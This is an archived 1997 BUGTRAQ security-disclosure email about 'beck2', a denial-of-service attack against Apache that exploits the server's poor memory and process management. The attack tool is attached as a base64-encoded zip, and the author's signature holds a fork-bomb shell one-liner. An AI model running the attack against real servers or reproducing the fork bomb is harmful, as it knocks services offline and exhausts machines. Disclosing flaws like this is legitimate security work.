|
X-RDate: Mon, 05 Jan 1998 11:38:30 +0500 (ESK) Date: Wed, 31 Dec 1997 17:09:22 +0100 From: =?iso-8859-2?Q?Micha=B3_Zalewski?= <lcamtuf@BOSS.STASZIC.WAW.PL> To: BUGTRAQ@NETSPACE.ORG Subject: Apache memory/process management. This is a multi-part message in MIME format. ------=_NextPart_000_0088_01BD160F.5B0AD900 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Here is another (less interesting) example of Apache DoS attack, called 'beck2'. The only thing I want to show is very ineffective management of memory, CPU time and other resources. This attack is possible in two cases: 1. Attacker owns an account on a victim machine, or 2. Victim's directory structure is very deep (?). When one of above statements is true, it's possible to perform a remote attack, even when Apache has been already patched against first version of 'beck'. More details can be deducted from sources :) In well-configured system, any kind DoS attack should be at least ineffective (resources *required* to attack should be significally larger than resources *affected* by attack ;). Unfortunately, it's very, very easy to attack Apache servers using minimal amount of time and brain resources :) Maybe it's time to rewrite larger parts of code? _______________________________________________________________________ Michal Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl] =3D--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _ ] = ---------=3D ------=_NextPart_000_0088_01BD160F.5B0AD900 Content-Type: application/x-zip-compressed; name="beck2.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="beck2.zip" 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 ------=_NextPart_000_0088_01BD160F.5B0AD900--
|